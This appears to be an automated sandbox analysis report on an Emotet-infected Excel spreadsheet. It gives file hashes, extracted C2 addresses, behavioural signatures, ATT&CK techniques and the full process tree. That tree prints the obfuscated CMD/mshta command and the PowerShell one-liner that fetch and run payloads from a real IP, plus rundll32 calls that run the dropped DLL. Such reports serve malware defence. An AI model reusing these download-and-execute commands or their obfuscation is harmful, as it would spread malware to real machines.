emotet | 2a110ebd19689b3d6c143a3916adf1f6132aa6ebdb1b150a8570be422540b263

General

Target

SCAN 28012022.xls
Size

36KB
MD5

b8e2b4ad880a3d428762d98f22a3291d
SHA1

23bf1353fb8b2b1c17f309c2d5553a7d821604c5
SHA256

2a110ebd19689b3d6c143a3916adf1f6132aa6ebdb1b150a8570be422540b263
SHA512

9f0547ce417223dd2fb883c60ac6a9e45e9b25b6f083ef1c96450eca67f4d0c7c8578cf59d02379e9620a89b5207c3a64faa9a2a8cd7886ab15d1164a4664073

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3916	2608	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

23 2396 mshta.exe
35 3124 powershell.exe
37 3124 powershell.exe
40 3124 powershell.exe
51 1436 rundll32.exe
52 1436 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2848 rundll32.exe
496 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Nuttsxtlfzron\dkverxrlmd.alc rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1152 2396 WerFault.exe mshta.exe

flow	pid	process
23	2396	mshta.exe
35	3124	powershell.exe
37	3124	powershell.exe
40	3124	powershell.exe
51	1436	rundll32.exe
52	1436	rundll32.exe

pid	process
2848	rundll32.exe
496	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Nuttsxtlfzron\dkverxrlmd.alc	rundll32.exe

pid	pid_target	process	target process
1152	2396	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2608 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
1152	WerFault.exe
3124	powershell.exe
3124	powershell.exe
3124	powershell.exe
1436	rundll32.exe
1436	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1152 WerFault.exe
Token: SeDebugPrivilege 3124 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1152	WerFault.exe
Token: SeDebugPrivilege	3124	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE
2608	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2608 wrote to memory of 3916	2608	EXCEL.EXE	CMD.EXE
PID 2608 wrote to memory of 3916	2608	EXCEL.EXE	CMD.EXE
PID 3916 wrote to memory of 2396	3916	CMD.EXE	mshta.exe
PID 3916 wrote to memory of 2396	3916	CMD.EXE	mshta.exe
PID 2396 wrote to memory of 3124	2396	mshta.exe	powershell.exe
PID 2396 wrote to memory of 3124	2396	mshta.exe	powershell.exe
PID 3124 wrote to memory of 1228	3124	powershell.exe	cmd.exe
PID 3124 wrote to memory of 1228	3124	powershell.exe	cmd.exe
PID 1228 wrote to memory of 2848	1228	cmd.exe	rundll32.exe
PID 1228 wrote to memory of 2848	1228	cmd.exe	rundll32.exe
PID 1228 wrote to memory of 2848	1228	cmd.exe	rundll32.exe
PID 2848 wrote to memory of 496	2848	rundll32.exe	rundll32.exe
PID 2848 wrote to memory of 496	2848	rundll32.exe	rundll32.exe
PID 2848 wrote to memory of 496	2848	rundll32.exe	rundll32.exe
PID 496 wrote to memory of 1856	496	rundll32.exe	rundll32.exe
PID 496 wrote to memory of 1856	496	rundll32.exe	rundll32.exe
PID 496 wrote to memory of 1856	496	rundll32.exe	rundll32.exe
PID 1856 wrote to memory of 1436	1856	rundll32.exe	rundll32.exe
PID 1856 wrote to memory of 1436	1856	rundll32.exe	rundll32.exe
PID 1856 wrote to memory of 1436	1856	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SCAN 28012022.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2608

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3916

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3124

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1228

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2848

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:496

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nuttsxtlfzron\dkverxrlmd.alc",MmgTdtvRfhmi
8⤵
- Suspicious use of WriteProcessMemory
PID:1856

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Nuttsxtlfzron\dkverxrlmd.alc",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1436

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2396 -s 1896
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1152

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
memory/496-619-0x0000000005450000-0x0000000005477000-memory.dmp

Filesize
156KB

Download
memory/496-617-0x0000000005270000-0x0000000005297000-memory.dmp

Filesize
156KB

Download
memory/496-615-0x0000000005210000-0x0000000005237000-memory.dmp

Filesize
156KB

Download
memory/496-613-0x00000000051B0000-0x00000000051D7000-memory.dmp

Filesize
156KB

Download
memory/496-611-0x0000000005050000-0x0000000005077000-memory.dmp

Filesize
156KB

Download
memory/496-609-0x0000000004F70000-0x0000000004F97000-memory.dmp

Filesize
156KB

Download
memory/496-606-0x00000000048E0000-0x0000000004907000-memory.dmp

Filesize
156KB

Download
memory/1436-629-0x0000000004A50000-0x0000000004A77000-memory.dmp

Filesize
156KB

Download
memory/1436-639-0x0000000004F60000-0x0000000004F87000-memory.dmp

Filesize
156KB

Download
memory/1436-637-0x0000000004EE0000-0x0000000004F07000-memory.dmp

Filesize
156KB

Download
memory/1436-635-0x0000000004CF0000-0x0000000004D17000-memory.dmp

Filesize
156KB

Download
memory/1436-633-0x0000000004C10000-0x0000000004C37000-memory.dmp

Filesize
156KB

Download
memory/1436-631-0x0000000004B30000-0x0000000004B57000-memory.dmp

Filesize
156KB

Download
memory/1436-627-0x0000000004970000-0x0000000004997000-memory.dmp

Filesize
156KB

Download
memory/1436-622-0x0000000000D40000-0x0000000000D67000-memory.dmp

Filesize
156KB

Download
memory/1856-621-0x00000000030D0000-0x00000000030F7000-memory.dmp

Filesize
156KB

Download
memory/2608-116-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2608-662-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2608-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2608-117-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2608-665-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2608-128-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2608-129-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2608-664-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2608-115-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2608-127-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2608-663-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2848-601-0x0000000000D10000-0x0000000000D37000-memory.dmp

Filesize
156KB

Download
memory/3124-282-0x000001D270B90000-0x000001D270B92000-memory.dmp

Filesize
8KB

Download
memory/3124-420-0x000001D270B96000-0x000001D270B98000-memory.dmp

Filesize
8KB

Download
memory/3124-349-0x000001D270F70000-0x000001D270FAC000-memory.dmp

Filesize
240KB

Download
memory/3124-283-0x000001D270B93000-0x000001D270B95000-memory.dmp

Filesize
8KB

Download
memory/3124-279-0x000001D270A60000-0x000001D270A82000-memory.dmp

Filesize
136KB

Download
memory/3124-375-0x000001D271290000-0x000001D271306000-memory.dmp

Filesize
472KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads